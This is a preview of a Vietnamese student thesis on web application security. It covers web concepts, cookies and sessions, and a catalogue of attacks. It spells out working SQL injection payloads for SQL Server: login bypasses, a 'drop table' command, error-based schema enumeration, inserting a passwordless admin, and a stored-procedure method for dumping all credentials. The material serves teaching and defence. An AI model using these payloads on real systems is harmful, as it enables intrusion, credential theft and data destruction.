Đề tài Ứng dụng web và vấn đề bảo mật

Mục Lục

 

CHƯƠNG 1: GIỚI THIỆU TỔNG QUAN VỀ ỨNG DỤNG WEB 7

1.1 khái niệm về ứng dụng web(website widget hay web application) 7

1.2 Cấu trúc,chức năng,giao diện&nguyên tắc hoạt động cơ bản của ứng dụng web 8

1.2.1 Cấu trúc cơ bản của một ứng dụng web 8

1.2.2 Giao diện của một ứng dụng web 9

1.2.3 Chức năng cơ bản của các ứng dụng web 10

1.2.4 Nguyên tắc hoạt động cơ bản của một ứng dụng web 11

1.2.5 Vấn đề bảo mật ứng dụng web 13

CHƯƠNG 2: GIỚI THIỆU VỀ CÁC THUẬT NGỮ VÀ KHÁI NIỆM LIÊN QUAN 17

2.1 Các khái niệm và thuật ngữ thường dùng 17

2.1.1 Các khái niệm chung về ứng dụng web 17

2.1.2 Thuật ngữ ,khái niệm về các công cụ liên quan đến ứng dụng web 18

2.1.3 Các khái niệm và thuật ngữ liên quan đến tấn công và bảo mật ứng dụng web 21

2.1.3.1 Khái niệm hacker 21

2.1.3.2 HTTP HEARDER 22

2.1.3.3 SESSION 22

2.1.3.4 COOKIE 23

2.1.3.5 PROXY 25

CHƯƠNG 3: CÁC KĨ THUẬT TẤN CÔNG ỨNG WEB CƠ BẢN 26

A. Lý thuyết 26

1. KIỂM SOÁT TRUY CẬP WEB (Web Access Control) 26

2. CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement) 26

2.1 Ấn định phiên làm việc (Session Fixation) 26

2.2 Đánh cắp phiên làm việc (Session Hijacking) 26

3 LỢI DỤNG THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU HỢP LỆ (INPUT VALIDATION) 27

3.1 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt 27

3.2 Tràn bộ đệm (Buffer OverFlow) 27

3.3 Mã hoá URL (URL Encoding) 27

3.4 Kí tự Meta (Meta-characters Sử dụng những kí tự đặc biệt 27

3.5 Vượt qua đường dẫn (Path Traversal): 27

3.6 Chèn mã lệnh thực thi trên trình duyệt nạn nhân 27

3.7 Thêm câu lệnh hệ thống (OS Command Injection) 28

3.8 Kí tự rỗng (Null Characters) 28

3.9 Chèn câu truy vấn SQL (SQL Injection) 28

3.10 Ngôn ngữ phía máy chủ (Server side includes) 28

3.11 Thao tác trên tham số truyền (Parameter manipulation) 29

3.12 Từ chối dịch vụ (Denial of service (DoS)) 29

B, Các cách triển khai tấn công ứng dụng web 29

1. Thao tác trên tham số 29

1.1 THAO TÁC TRÊN URL 29

1.1.1 Khái niệm 29

1.1.2 Cách khắc phục 30

1.2. THAO TÁC TRÊN BIẾN ẨN FORM 30

1.2.1 Khái niệm 30

1.2.2. Một số biện pháp khắc phục 30

2 Kĩ thuật tấn công SQL Injection 31

2.1 Dưới đây là kĩ thuật SQL injection đơn giản nhất 31

2.2. Tấn công dưa vào câu lệnh SELECT 33

2.3. Tấn công dựa vào câu lệnh HAVING 33

2.4. Tấn công dựa vào câu lệnh kết hợp UNION 33

2.5. Tấn công dựa vào lệnh INSERT 39

2.6 Tấn công dưa vào STORED PROCEDURE 39

2.7. Một số kĩ thuật tấn công bổ xung 40

2.7.1 Chuỗi kí tự không có dấu nháy đơn 40

2.7.2 Tấn công 2 tầng 40

2.7.3 Tránh sự kiểm soát: 42

2.7.4 Dùng Extended Stored Procedure có sẵn trong hệ thống 43

2.7.5. Dùng Extended Stored Procedure tự tạo 43

2.7.6 Nhập tập tin văn bản vào bảng 44

2.7.7 CÁCH PHÒNG CHỐNG 44

3 Kĩ thuật tấn công gây tràn bộ đệm và từ chối dịch vụ(Buffer overflow) 45

3.1 Khái niệm 46

3.2 Các đối tượng bị ảnh hưởng bởi kiểu tấn công này 46

3.3 Các kiểu tấn công DDos 46

3.3.1 Kiểu tấn công thứ 1 46

3.3.2. Kiểu tấn công thứ 2 46

3.3.3. Kiểu tấn công vào tài nguyên hệ thống 47

3.4 Cách phòng chống 47

CHƯƠNG 3 GIỚI THIỆU MỘT SÔ CÔNG CỤ PHỔ DỤNG TRONG KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB 49

3.1. Tool scanning 49

2. Công cụ bắt gói tin 52

3 Công cụ dùng để tấn công dos ứng dụng web 55

PHẦN KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN CỦA ĐỒ ÁN 56

Tài liệu tham khảo 57

 

 

doc57 trang | Chia sẻ: netpro | Lượt xem: 3450 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Đề tài Ứng dụng web và vấn đề bảo mật, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
a sản phẩm FutureSplash Animator. Sau đó FutureWave thuộc sở hữu của Macromedia, và công ty này đưa ra sản phẩm Flash. Flash cho phép các nhà thiết kế tạo các ứng dụng hoạt họa và linh động. Flash không đòi hỏi các kỹ năng lập trình cao cấp và rất dễ học. Cũng giống như các nhiều giải pháp khác Flash yêu cầu phần mềm phía client. Chẳng hạn như gói Shockwave Player plug-in có thể được tích hợp trong một số hệ điều hành hay trình duyệt. DHTML:Khi Microsoft và Netscape đưa ra các version 4 của các trình duyệt của họ, thì các nhà phát triển Web có một lựa chọn mới: Dynamic HTML (DHTML). DHTML không phải là một chuẩn của W3C; nó giống một bộ công cụ thương mại hơn. Trong thực tế nó là một tập hợp gồm HTML, Cascading Style Sheets (CSS), JavaScript, và DOM. Tập hợp các công nghệ trên cho phép các nhà pháp triển sửa đổi nội dung và cấu trúc của một trang Web một cách nhanh chóng. Tuy nhiên, DHTML yêu cầu sự hỗ trợ từ các trình duyệt. Mặc dù cả Internet Explorer và Netscape hỗ trợ DHTML, nhưng các thể hiện của chúng là khác nhau, các nhà phát triển cần phải biết được loại trình duyệt nào mà phía client dùng. DHTML thật sự là một bước tiến mới, nhưng nó vẫn cần một sự qui chuẩn để phát triển. Hiện nay DHTML vẫn đang trên con đường phát triển mạnh. XML:Kể từ khi ra đời vào giữa năm 1990, eXtensible Markup Language (XML) của W3C dẫn xuất của SGML đã trở nên rất phổ biến. XML có mặt ở khắp nơi, Microsoft Office 12 cũng sẽ hỗ trợ định dạng file XML.Ngày nay chúng ta có rất nhiều dạng dẫn xuất của XML cho các ứng dụng Web (tất nhiên là có cả XHTML): XUL của Mozilla; XAMJ, một sản phẩm mã nguồn mở trên nền Java; MXML từ Macromedia; và XAML của Microsoft. Các khái niệm và thuật ngữ liên quan đến tấn công và bảo mật ứng dụng web 2.1.3.1 Khái niệm hacker Khái niệm hacker có từ những 50, 60 của thế kỉ trước , và cho đến nay trải qua một thời gian phát triển khá dài hacker chia làm 4 loại: - Hacker mũ trắng: là những chuyên gia lập trình chuyên tìm các lỗi của phần mềm với mục đích sửa chữa, xây dựng hệ thống an toàn hơn. - Hacker mũ đen: đối lập với hacker mũ trắng, là những hacker phá hoại và trục lợi cho mình. - Hacker mũ xanh/samurai: là những chuyên gia lập trình tài năng, được các hãng như Microsoft mời về làm việc chuyên tìm lỗi cho phần mềm của họ. - Hacker mũ xám hay mũ nâu: là những người đôi khi làm công việc của hacker mũ trắng nhưng vẫn làm công việc của hacker mũ đen. - Dù tự nhận mình là giới nào, họ vẫn đang làm công việc xâm nhập hệ thống thông qua những lỗ hổng bảo mật. Vì vậy tôi sẽ sủ dụng thuật ngữ hacker để chỉ nhũng người tấn công ứng dụng web. 2.1.3.2 HTTP HEARDER HTTP HEARDER là trường phần đầu chứa các thông số hoạt động của một yêu cầu HTTP giữa máy chủ và máy khách .Những thông tin trình khách gửi trình chủ gọi là HTTP requests(yêu cầu ),những thông tin trình chủ gửi cho trình khách gọi là HTTP responses(trả lời ) Các trường tiêu đề xác định đặc điểm khác nhau của việc chuyển dữ liệu được yêu cầu hoặc các dữ liệu được cung cấp trong thông điệp. HTTP Header có thể có nhiều dòng và thường bắt đầu với tên trường, chấm dứt với một ký tự đại tràng, tiếp theo là giá trị trường. Tên trường và các giá trị có thể là bất kỳ ứng dụng cụ thể chuỗi , nhưng tập lõi các lĩnh vực được chuẩn hóa bởi Internet Engineering Task . Một số tham số được sử dụng cả trong trình khách mà trình chủ. - (Có bảng danh sách các tham số ở cuối đồ án .) 2.1.3.3 SESSION HTTP là giao thức hướng đối tượng phi trạng thái, nó không lưu trữ trạng thái làm việc giữa trình chủ và trình khách . Điều này gây khó khăn cho việc quản lý một số ứng dụng web bởi vì trình chủ không biết rằng trước đó trình khách đã ở trạng thái nào. Để giải quyết vấn đề này , người ta đưa ra khái niệm SESSION(phiên làm việc) vào giao thức HTTP. SessionID là một chuỗi để chứng thực phiên làm việc . Một số trình chủ sẽ cấp phát session cho người dùng khi họ xem trang web trên trình chủ -Để duy trì phiên làm việc sessionID thường được lưu trữ vào : +Biến trên URL +Biến ẩn from +Cookie -Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được quy định tại trình chủ hoặc bởi ứng dụng thực thi.Trình chủ tự động giải phóng phiên làm việc để khôi phục tài nghuyên hệ thống. COOKIE Là một phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt người dùng. Các cookie được lưu trũ dưới dạng những file dữ liệu nhỏ dạng text , được ứng dụng tạo ra để lưu trữ truy tìm nhận biết những người dùng đã ghé thăm trang web và những vùng họ đã ngang qua trang. Những thông tin nay có thể bao gôm thông tin người dùng, tài khoản, mật khẩu…cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của mình . Nhiều trình duyệt không tự động lưu trữ cookie mà còn phụ thuộc vào người dùng có chấp nhận lưu nó hay không. Những lần truy cập sau vào trang web đó ứng ứng dụng có thể sử dụng lại những thông tin trong cookie(các thôgn tin tai khoản liên quan) mà người dùng không cần phải đăng nhập hay cung cấp thêm thông tin gì cả. Có nhiều cách phân loại cookie, phân loại theo đối tượng thiết lập của cookie.thì cookie chia làm 2 loại: Cookie của bên thứ nhất là cookie được thiết lập bởi tên miền trang web được liệt kê trong thanh địa chỉ. Cookie của bên thứ ba đến từ các nguồn tên miền khác có các mục, chẳng hạn như quảng cáo hoặc hình ảnh, được nhúng vào trang. Ngoài ra còn cách chia chia khác chia cookie thành 4 loại vì có secure/non-secure và perisent/non- perisent nên ta có: -Persistent và Secure -Persistent và Non-Secure - Non-Persistent và Secure - Non-Persistent và Non-Secure Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt NetscapeNavigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong mộtkhoản thời gian xác định. Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL). Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thựcchất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật. Các thành phầncủa một cookie gồm: Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên Flag: mang giá trị TRUE/FALSE - Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không. Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa chỉ thuộcmiềntrang web tạo cookie. Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không. Expiration:thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng. Name:Tên biến (trong trường hợp này là Apache) 7. Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền - Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫnCác cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.tx -Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies. -Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “ session cookie ”. Bạn cần biết về cài đặt cookie vì cookie có thể cho phép các trang web theo dõi điều hướng của bạn khi bạn truy cập vào các trang web đó. PROXY Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lờicủa server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client. CHƯƠNG 3:CÁC KĨ THUẬT TẤN CÔNG ỨNG WEB CƠ BẢN A. Lý thuyết KIỂM SOÁT TRUY CẬP WEB (Web Access Control) Thâm nhập hệ thống qua cửa sau (Back door) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng. CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement) Ấn định phiên làm việc (Session Fixation) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ. 2.2 Đánh cắp phiên làm việc (Session Hijacking) Là kĩ thuật tấn công cho phép hacker mạodanh người dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form. 3 LỢI DỤNG THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU HỢP LỆ (INPUT VALIDATION) Hacker lợidụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn. 3.1 Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt (Client-Side validation) Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra. 3.2 Tràn bộ đệm (Buffer OverFlow) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống. 3.3 Mã hoá URL (URL Encoding) Lợi dụng chuẩn mã hóa những kí tựđặc biệt trên URL mà hacker sẽ mã hoá tự động những kí tự bất hợp lệ-những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này. 3.4 Kí tự Meta (Meta-characters Sử dụng những kí tự đặc biệt Hacker có thể chènthêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như trong kĩ thuật XSS, ‘ -- trong SQL….để thực thi câu lệnh. 3.5 Vượt qua đường dẫn (Path Traversal): Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống. 3.6 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross- Site Scripting): Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross- Site scripting cũng là một kiểu tấn công “session hijacking”. 3.7 Thêm câu lệnh hệ thống (OS Command Injection) Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ. Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ. 3.8 Kí tự rỗng (Null Characters) Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình dịch như C++ thì C++ cho rằng \0 là dấu kết thúc chuỗi. Ví dụ: Hacker thêm chuỗi sau: Ô nhập: đề tài thứ nhất\0 alert(document.cookie) Nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra. 3.9 Chèn câu truy vấn SQL (SQL Injection) Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống. 3.10 Ngôn ngữ phía máy chủ (Server side includes) Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trên Web site. 3.11 Thao tác trên tham số truyền (Parameter manipulation) Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng…. 3.12 Từ chối dịch vụ (Denial of service (DoS)) Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ. B, Các cách triển khai tấn công ứng dụng web Phần trước trong đồ án đã trình bày sơ lược về các cách tấn công ứng dụng web cơ bản. Phần này sẽ nói cụ thể hơn một số cách tấn cơn bản và phổ biến 1. Thao tác trên tham số Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URLhay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, BufferOverflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công củahacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong phần này , mục đích cũng là để hỗ trợ tốt hơn phần trình bày các phần kế tiếp. THAO TÁC TRÊN URL 1.1.1 Khái niệm Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL. 1.1.2 Cách khắc phục Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: ` • Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết rằng người dùng đã thay đổi URL. • Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý. 1.2. THAO TÁC TRÊN BIẾN ẨN FORM 1.2.1 Khái niệm Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ. Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn công “BUFFER OVERFLOW”, … 1.2.2. Một số biện pháp khắc phục Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng. Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra. Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đóvà lưu nó vào một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem so sánh với“Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi. Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ liệu. 2 Kĩ thuật tấn công SQL Injection 2.1 Dưới đây là kĩ thuật SQL injection đơn giản nhất Mục đích dùng để vượt qua các form đăng nhập. Ví dụ 1: giả sử ứng dụng web có đoạn mã sau: SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’” flag= GetQueryResult (SQLQuery) if flag = “” then check=FALSE else check=TRUE end if Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false. Giá tri nhập vào là: Username:’ OR ‘’=’ Password: ’ OR ‘’=’ Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’ Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ được chọn. Kết hợp với kí tự đặc biệt của SQL : • kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn • kí tự “--” : ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ 2: Username: ’; drop table User-- Password: Câu lệnh SQL lúc này như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’” Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn. Ví dụ 3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ thống như sau: Username : admin’-- Password : Câu lệnh SQL như sau: SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’” Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password. 2.2. Tấn công dưa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đóchỉnh sửa nội dung nhập cho phù hợp. Direct Injection là những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào và ở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’” Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu“(“thì trong chuỗi chèn vào phải có “)”: Ví dụ 4: Giả sử: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName& “’”) Thì cú pháp hợp lệ như sau: StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’) or ‘’=’’” Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin. Ví dụ 5:StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’” 2.3. Tấn công dựa vào câu lệnh HAVING HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4. 2.4. Tấn công dựa vào câu lệnh kết hợp UNION Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằng cách chèn thêm UNION SELECT. Ví dụ 6: StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User” Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User. Ghi chú: • Số cột trong hai câu SELECT phảikhớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu. Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường. Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION: Ví dụ 7: Nhắc lại câu truy vấn cần để đăng nhập: SQLQuery= “SELECT tkUsername,tkPassword FROM User WHER tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword& “’” Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau: Giá trị nhập vào: Username:’having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'User.tkUsername'is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại mộttrường tên là tkUsername. Sau đósử dụng GROUP BY: Ví dụ 8 Username: ‘group by User.tkUsername having 1=1-- Lỗi phát sinh: [Microsoft][ODBC SQL Server Driver][SQL Server] Column 'User.tkPassword' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Như vậy tkPassword là mộttrường của bảng User và được sử dụng trong câu truy vấn. Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng User tham gia vào câu truy vấn. Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng: Ví dụ 9: Username:’union select sum(tkUsername) from User Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối số phải là kiểu số. Nếu đối số không là kiểu số thì phát sinh lỗi như sau: [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operationcannot take a varchar data typeas an argument. Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”. Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảng User. Ví dụ 10 Username:’ ; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)-- Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng mà không cầnmật khẩu để chứng thực. Ví dụ 11: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảng User: • Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mới là foo có một trường là ret bằng đoạn mã sau: create proc test as begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo end Thực thi câu lệnh bằng cách nhập vào form. Username:’; Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo • Bước 2: Gọi Stored procedure đó Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm: Username: ’;exec test • Bước 3: Dùng UNION để xem nội dung bảng foo Username:’; select ret,1 from foo union select 1,1 from foo Lỗi phát sinh: Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu' To a column of data type int. Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên: tkUsername và mật khẩu tkPassword. • Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết: Username:‘; drop table foo-- Ví dụ 12: Còn đây là một cách khác để xác định nội dung của bảng User, còn một phương pháp tìm kiếm thông tin như sau: • Bước 1: Tìm tuần tự từng dòng trên bảng User Username:’union select 1,1 hoặc : Username: ’union select min(tkUsername),1 from User where tkUsername> ’a’-- 